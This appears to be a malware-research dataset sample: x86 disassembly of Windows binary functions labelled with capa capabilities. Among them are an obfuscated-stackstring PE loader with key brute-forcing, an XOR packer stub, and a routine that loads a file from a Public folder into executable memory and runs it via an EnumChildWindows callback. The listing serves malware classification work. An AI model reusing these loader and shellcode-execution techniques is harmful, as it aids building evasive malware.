joyce8/EMBER2024-capa huggingface dataset:
Function at 0x712b71
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
pushal
mov eax, 1
test eax, eax
je 0x712ddd
mov byte [ebp - 0x10c], 0x50
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x6f
mov byte [ebp - 0x109], 0x63
mov byte [ebp - 0x108], 0x65
mov byte [ebp - 0x107], 0x73
mov byte [ebp - 0x106], 0x73
mov byte [ebp - 0x105], 0x69
mov byte [ebp - 0x104], 0x6e
mov byte [ebp - 0x103], 0x67
mov byte [ebp - 0x102], 0x20
mov byte [ebp - 0x101], 0x49
mov byte [ebp - 0x100], 0x6d
mov byte [ebp - 0xff], 0x70
mov byte [ebp - 0xfe], 0x6f
mov byte [ebp - 0xfd], 0x72
mov byte [ebp - 0xfc], 0x74
mov byte [ebp - 0xfb], 0x20
mov byte [ebp - 0xfa], 0x44
mov byte [ebp - 0xf9], 0x69
mov byte [ebp - 0xf8], 0x72
mov byte [ebp - 0xf7], 0x65
mov byte [ebp - 0xf6], 0x63
mov byte [ebp - 0xf5], 0x74
mov byte [ebp - 0xf4], 0x6f
mov byte [ebp - 0xf3], 0x72
mov byte [ebp - 0xf2], 0x79
mov byte [ebp - 0xf1], 0x3a
mov byte [ebp - 0xf0], 0
mov eax, 1
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp + 0xc]
mov ebx, eax
mov eax, 1
test eax, eax
je 0x712ddd
mov eax, 1
test eax, eax
je 0x712ddd
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x712ddd
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [edx + 0x10]
add eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
sub ecx, ecx
mov eax, dword [ebp - 0xc]
add eax, ecx
mov eax, dword [eax]
test eax, eax
je 0x712dd3
mov ebx, eax
and eax, 0x80000000
jne 0x712d4a
mov byte [ebp - 0x10c], 0x4e
mov byte [ebp - 0x10b], 0x61
mov byte [ebp - 0x10a], 0x6d
mov byte [ebp - 0x109], 0x65
mov byte [ebp - 0x108], 0x3a
mov byte [ebp - 0x107], 0x20
mov byte [ebp - 0x106], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x712ddd
add ebx, dword [ebp + 0xc]
lea ebx, [ebx + 2]
mov eax, ebx
mov eax, 1
test eax, eax
je 0x712ddd
mov eax, 1
test eax, eax
je 0x712ddd
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x712ddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x712ca5
mov byte [ebp - 0x10c], 0x4f
mov byte [ebp - 0x10b], 0x72
mov byte [ebp - 0x10a], 0x64
mov byte [ebp - 0x109], 0x69
mov byte [ebp - 0x108], 0x6e
mov byte [ebp - 0x107], 0x61
mov byte [ebp - 0x106], 0x6c
mov byte [ebp - 0x105], 0x3a
mov byte [ebp - 0x104], 0x20
mov byte [ebp - 0x103], 0
lea eax, [ebp - 0x10c]
mov eax, 1
test eax, eax
je 0x712ddd
xor ebx, 0x80000000
mov eax, ebx
mov eax, 1
test eax, eax
je 0x712b67
push ecx
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
pop ecx
test eax, eax
je 0x712ddd
mov ebx, dword [ebp - 8]
add ebx, ecx
mov dword [ebx], eax
add ecx, 4
jmp 0x712ca5
popal
mov eax, 1
leave
ret 0xc
popal
mov eax, 0
leave
ret 0xc
Function at 0x712e9d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov edx, dword [ebp + 0xc]
sub eax, eax
mov ax, word [edx + 2]
mov dword [ebp - 0x118], eax
add edx, 0x14
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x114], eax
mov eax, dword [edx + 0x38]
mov dword [ebp - 0x110], edx
lea edx, [ebp - 0xc]
mov ebx, dword [ebp + 8]
push edx
push 4
push eax
push dword [ebp - 0x114]
call dword [ebx + 0x24]
test eax, eax
je 0x712fee
mov byte [ebp - 0x10c], 0x53
mov byte [ebp - 0x10b], 0x65
mov byte [ebp - 0x10a], 0x74
mov byte [ebp - 0x109], 0x20
mov byte [ebp - 0x108], 0x49
mov byte [ebp - 0x107], 0x6d
mov byte [ebp - 0x106], 0x61
mov byte [ebp - 0x105], 0x67
mov byte [ebp - 0x104], 0x65
mov byte [ebp - 0x103], 0x20
mov byte [ebp - 0x102], 0x77
mov byte [ebp - 0x101], 0x72
mov byte [ebp - 0x100], 0x69
mov byte [ebp - 0xff], 0x74
mov byte [ebp - 0xfe], 0x61
mov byte [ebp - 0xfd], 0x62
mov byte [ebp - 0xfc], 0x6c
mov byte [ebp - 0xfb], 0x65
mov byte [ebp - 0xfa], 0x3a
mov byte [ebp - 0xf9], 0
mov eax, 1
mov eax, 1
test eax, eax
je 0x712fee
mov edx, dword [ebp - 0x110]
lea ebx, [edx + 0x60]
mov eax, dword [edx + 0x5c]
mov edx, 8
mul edx
add eax, ebx
mov dword [ebp - 8], eax
mov eax, 0x28
mov edx, dword [ebp - 0x118]
mul edx
add eax, dword [ebp - 8]
mov ebx, dword [ebp + 0x10]
sub eax, ebx
mov dword [ebp - 4], eax
mov edi, dword [ebp - 0x114]
mov esi, dword [ebp + 0x10]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x118]
mov ebx, dword [ebp - 8]
push dword [ebp + 0x10]
push dword [ebp - 0x114]
push ebx
push dword [ebp + 8]
call fcn.00712ff8
test eax, eax
je 0x712fee
add ebx, 0x28
dec ecx
jne 0x712fc7
popal
mov eax, dword [ebp - 0x114]
leave
ret 0x10
popal
mov eax, 0
leave
ret 0x10

Function at 0x71309e
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
pushal
mov edx, dword [ebp + 0xc]
mov ebx, dword [edx + 0x24]
and ebx, 0xe0000000
cmp ebx, 0xe0000000
jne 0x7130c9
mov eax, 0x40
mov dword [ebp - 0x108], eax
jmp 0x71312e
mov ebx, dword [edx + 0x24]
and ebx, 0x60000000
cmp ebx, 0x60000000
jne 0x7130e7
mov eax, 0x20
mov dword [ebp - 0x108], eax
jmp 0x71312e
mov ebx, dword [edx + 0x24]
and ebx, 0xc0000000
cmp ebx, 0xc0000000
jne 0x713105
mov eax, 4
mov dword [ebp - 0x108], eax
jmp 0x71312e
mov ebx, dword [edx + 0x24]
and ebx, 0x40000000
cmp ebx, 0x40000000
jne 0x713123
mov eax, 2
mov dword [ebp - 0x108], eax
jmp 0x71312e
mov eax, 1
mov dword [ebp - 0x108], eax
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov ebx, dword [edx + 8]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x104]
push edx
push dword [ebp - 0x108]
push ebx
push eax
call dword [ecx + 0x24]
test eax, eax
je 0x71316b
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xc]
add eax, dword [ebp + 0x10]
mov eax, 1
popal
mov eax, 1
leave
ret 0x10
popal
sub eax, eax
leave
ret 0x10
Function at 0x713172
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
pushal
mov edx, dword [ebp + 8]
mov ax, word [edx]
cmp ax, 0x5a4d
jne 0x7131a1
mov eax, dword [edx + 0x3c]
add edx, eax
mov eax, dword [edx]
cmp eax, 0x4550
jne 0x7131a1
add edx, 4
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
leave
ret 8
popal
sub eax, eax
leave
ret 8

Function at 0x713dff
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov ecx, 3
mov edx, 1
push ecx
push dword [ebp + 8]
call fcn.00713f04
rol eax, 8
push dword [ebp + 0xc]
push eax
call fcn.00713f20
push edx
push dword [ebp + 0x10]
push eax
call fcn.00713eec
inc edx
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00713f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00713ecb
push ecx
push dword [ebp + 8]
call fcn.00713f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00713f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00713ecb
push ecx
push dword [ebp + 8]
call fcn.00713f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00713f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00713ecb
push ecx
push dword [ebp + 8]
call fcn.00713f04
mov ebx, eax
push ecx
sub ecx, 3
push ecx
push dword [ebp + 8]
call fcn.00713f04
pop ecx
xor eax, ebx
inc ecx
push ecx
push dword [ebp + 8]
push eax
call fcn.00713ecb
cmp ecx, 0x2b
jne 0x713e0f
leave
ret 0xc

Function at 0x7154b4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
pushal
mov byte [ebp - 0x118], 0x42
mov byte [ebp - 0x117], 0x72
mov byte [ebp - 0x116], 0x75
mov byte [ebp - 0x115], 0x74
mov byte [ebp - 0x114], 0x65
mov byte [ebp - 0x113], 0x66
mov byte [ebp - 0x112], 0x6f
mov byte [ebp - 0x111], 0x72
mov byte [ebp - 0x110], 0x63
mov byte [ebp - 0x10f], 0x69
mov byte [ebp - 0x10e], 0x6e
mov byte [ebp - 0x10d], 0x67
mov byte [ebp - 0x10c], 0x20
mov byte [ebp - 0x10b], 0x4b
mov byte [ebp - 0x10a], 0x65
mov byte [ebp - 0x109], 0x79
mov byte [ebp - 0x108], 0
mov eax, 1
lea edi, [ebp - 0x14]
mov ecx, 0x10
mov al, 0
mov byte [edi], al
inc edi
dec ecx
jne 0x715544
mov eax, dword [ebp + 8]
push 4
push 0x3000
push 0x17ae50
push 0
call dword [eax + 0x20]
test eax, eax
je 0x7155d6
mov dword [ebp - 4], eax
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, 0x17ae50
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0xc]
push 0x17ae50
call fcn.007153fa
push 0x17ae50
push dword [ebp + 0xc]
call fcn.007131a8
test eax, eax
jne 0x7155b8
mov esi, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
mov ecx, 0x17ae50
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x14]
push eax
call fcn.007155dd
test eax, eax
je 0x7155d6
jmp 0x715574
mov eax, dword [ebp + 8]
push 0x8000
push 0
push dword [ebp - 4]
call dword [eax + 0x28]
test eax, eax
je 0x7155d6
popal
mov eax, 1
leave
ret 8
popal
sub eax, eax
leave
ret 8
Function at 0x71560b
Capabilities:
Terminate process

Disassembly:
call fcn.00715618
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x402d7d
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x74
push 0x404c68
call fcn.00402f7c
xor ebx, ebx
mov dword [ebp - 0x20], ebx
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call edi
cmp word [eax], 0x5a4d
jne 0x402dbd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x402dbd
movzx eax, word [ecx + 0x18]
cmp eax, 0x10b
je 0x402dd5
cmp eax, 0x20b
je 0x402dc2
mov dword [ebp - 0x1c], ebx
jmp 0x402de9
cmp dword [ecx + 0x84], 0xe
jbe 0x402dbd
xor eax, eax
cmp dword [ecx + 0xf8], ebx
jmp 0x402de3
cmp dword [ecx + 0x74], 0xe
jbe 0x402dbd
xor eax, eax
cmp dword [ecx + 0xe8], ebx
setne al
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], ebx
push 2
call dword [sym.imp.MSVCR71.dll___set_app_type]
pop ecx
or dword [0x40618c], 0xffffffff
or dword [0x406190], 0xffffffff
call dword [sym.imp.MSVCR71.dll___p__fmode]
mov ecx, dword [0x406144]
mov dword [eax], ecx
call dword [sym.imp.MSVCR71.dll___p__commode]
mov ecx, dword [0x406140]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCR71.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x406188], eax
call fcn.0040306e
call fcn.0040310e
cmp dword [0x406050], ebx
jne 0x402e49
push fcn.0040310e
call dword [sym.imp.MSVCR71.dll___setusermatherr]
pop ecx
call fcn.004030fc
push 0x406020
push 0x40601c
call sub.MSVCR71.dll__initterm
push 0x4030b2
call fcn.00402d16
mov eax, dword [0x40613c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x406138]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR71.dll___getmainargs]
add esp, 0x20
mov dword [ebp - 0x3c], eax
cmp eax, ebx
jge 0x402e9d
push 8
call sub.MSVCR71.dll__amsg_exit
pop ecx
push 0x406018
push section..data
call sub.MSVCR71.dll__initterm
pop ecx
pop ecx
mov eax, dword [sym.imp.MSVCR71.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x24], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x402f1b
cmp al, bl
je 0x402ec7
cmp dword [ebp - 0x20], ebx
jne 0x402f1b
mov al, byte [esi]
cmp al, bl
je 0x402ed7
cmp al, 0x20
ja 0x402ed7
inc esi
mov dword [ebp - 0x24], esi
jmp 0x402ec7
mov dword [ebp - 0x58], ebx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x58], 1
je 0x402ef3
movzx eax, word [ebp - 0x54]
jmp 0x402ef6
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call edi
push eax
call fcn.00403214
mov esi, eax
mov dword [ebp - 0x40], esi
cmp dword [ebp - 0x1c], ebx
jne 0x402f13
push esi
call dword [sym.imp.MSVCR71.dll_exit]
call dword [sym.imp.MSVCR71.dll__cexit]
jmp 0x402f70
cmp al, 0x22
jne 0x402f2a
xor ecx, ecx
cmp dword [ebp - 0x20], ebx
sete cl
mov dword [ebp - 0x20], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR71.dll__ismbblead]
pop ecx
test eax, eax
je 0x402f3d
inc esi
mov dword [ebp - 0x24], esi
inc esi
jmp 0x402eb5
or dword [ebp - 4], 0xffffffff
mov eax, esi
call fcn.00402fb7
ret
Function at 0x10001000
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor eax, eax
je 0x10001010
adc dword [edx], esp
xor esi, dword [ebx]
fist dword [ebx + 0x68]
add byte [eax], 0
add byte [edx + 3], ch
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push 0x80000000
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x60], 0x555c3a43
mov dword [ebp - 0x5c], 0x73726573
mov dword [ebp - 0x58], 0x6275505c
mov dword [ebp - 0x54], 0x5c63696c
mov dword [ebp - 0x50], 0x61647055
mov dword [ebp - 0x4c], 0x435c6574
mov dword [ebp - 0x48], 0x65746e6f
mov dword [ebp - 0x44], 0x545f746e
mov dword [ebp - 0x40], 0x73657079
mov dword [ebp - 0x3c], 0x6c6d782e
mov byte [ebp - 0x38], bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
nop
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 4], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x24], 0x74726956
mov dword [ebp - 0x20], 0x416c6175
mov dword [ebp - 0x1c], 0x636f6c6c
mov byte [ebp - 0x18], bl
call esi
push 4
push 0x1000
push dword [ebp - 0x10]
push ebx
call eax
push ebx
mov edi, eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
push edi
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x14]
mov byte [edi], 0xb8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x34], 0x74726956
mov dword [ebp - 0x30], 0x506c6175
mov dword [ebp - 0x2c], 0x65746f72
mov word [ebp - 0x28], 0x7463
mov byte [ebp - 0x26], bl
call esi
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push dword [ebp - 0x10]
push edi
call eax
push ebx
push edi
push ebx
call dword [sym.imp.USER32.dll_EnumChildWindows]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x10004016
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10009a80]
jne 0x10004020
repz ret
jmp fcn.1000519d
Function at 0x10004e32
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10009a80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100013b6
and dword [ebp - 0x14], 0
cmp dword [0x1000a45c], 0
mov dword [ebp - 0x18], eax
jne 0x10004ee5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10004f8d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10004f8d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000a45c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000a460], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000a464], eax
call edi
push eax
call esi
mov dword [0x1000a46c], eax
test eax, eax
je 0x10004ee5
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000a468], eax
mov eax, dword [0x1000a468]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10004f3e
cmp dword [0x1000a46c], ecx
je 0x10004f3e
push eax
call esi
push dword [0x1000a46c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10004f3e
test ebx, ebx
je 0x10004f3e
call edi
test eax, eax
je 0x10004f35
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10004f35
test byte [ebp - 8], 1
jne 0x10004f3e
or dword [ebp + 0x10], 0x200000
jmp 0x10004f71
mov eax, dword [0x1000a460]
cmp eax, dword [ebp - 0x18]
je 0x10004f71
push eax
call esi
test eax, eax
je 0x10004f71
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10004f71
mov eax, dword [0x1000a464]
cmp eax, dword [ebp - 0x18]
je 0x10004f71
push eax
call esi
test eax, eax
je 0x10004f71
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000a45c]
call esi
test eax, eax
je 0x10004f8d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10004f8f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004016
leave
ret
Function at 0x4309b0
Capabilities:
Get file version info

Disassembly:
sub esp, 0x34
push ebx
push esi
push edi
mov esi, ecx
push 0
lea ebx, [esi + 0x30]
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
test edi, edi
jne 0x4309d2
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x34
ret
push edi
call fcn.00460aa0
push edi
push 0
push eax
mov dword [esi + 8], eax
call fcn.00460a00
mov eax, dword [esi + 8]
add esp, 0x10
push eax
push edi
push 0
push ebx
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x4309c9
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00430660
test eax, eax
je 0x4309c9
mov eax, dword [esp + 0x14]
mov edx, eax
mov word [esi + 0xe], ax
mov eax, dword [esp + 0x18]
shr edx, 0x10
mov ecx, eax
mov word [esi + 0x12], ax
mov eax, dword [esp + 0x1c]
shr ecx, 0x10
mov word [esi + 0xc], dx
mov edx, eax
mov word [esi + 0x10], cx
mov word [esi + 0x16], ax
mov eax, dword [esp + 0x20]
mov ecx, eax
shr ecx, 0x10
mov word [esi + 0x18], cx
mov ecx, dword [esp + 0x2c]
shr edx, 0x10
mov word [esi + 0x14], dx
mov edx, dword [esp + 0x24]
mov word [esi + 0x1a], ax
mov eax, dword [esp + 0x28]
mov dword [esi + 0x24], ecx
push 0x104
lea ecx, [esi + 0x134]
push ecx
mov dword [esi + 0x1c], edx
mov edx, dword [esp + 0x38]
mov dword [esi + 0x20], eax
mov eax, dword [esp + 0x3c]
push 0x49b88c
mov ecx, esi
mov dword [esi + 0x28], edx
mov dword [esi + 0x2c], eax
call fcn.004307a0
test eax, eax
je 0x4309c9
push 0x104
lea edx, [esi + 0x33c]
push edx
push 0x49b87c
mov ecx, esi
call fcn.004307a0
test eax, eax
je 0x4309c9
push 0x104
lea eax, [esi + 0x238]
push eax
push 0x49b870
mov ecx, esi
call fcn.004307a0
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
add esp, 0x34
ret

Function at 0x430bb0
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
sub esp, 8
push esi
push edi
mov edi, dword [esp + 0x14]
lea eax, [esp + 0xc]
push eax
push 0x49b8a8
push 1
push 0
push 0x49b898
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [edi], 0
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov esi, eax
test esi, esi
jl 0x430c14
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
lea edx, [esp + 8]
push edx
push eax
mov eax, dword [ecx + 0x1c]
call eax
mov esi, eax
test esi, esi
jl 0x430c14
mov eax, dword [esp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push edi
push eax
call edx
mov esi, eax
mov eax, dword [esp + 8]
test eax, eax
je 0x430c24
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [esp + 0xc]
test eax, eax
je 0x430c34
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
pop edi
mov eax, esi
pop esi
add esp, 8
ret
Function at 0x401f1a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401f59
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401f59
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401f59
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401f59
cmp dword [ecx + 0x74], 0xe
jbe 0x401f59
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403ac5
sub eax, 0x403a6b
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x412210
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41223d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41223d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x402a98
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x405014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402b30
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402b10
xor eax, eax
push ebp
push 0x402b09
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402b4c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402b10
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x405014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x405014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403220
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x406034], 0
je 0x403281
cmp word [0x406208], 0xd7b2
jne 0x403249
cmp dword [0x406210], 0
jbe 0x403249
mov eax, 0x406204
call dword [0x406220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40505c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4032a8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x405020], 0
jne 0x40329d
push 0
push 0x405054
push 0x40505c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403e74
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x403eda
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004034f4
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040298c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x403ec4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403ee1
lea eax, [ebp - 0x10]
call fcn.004033a4
ret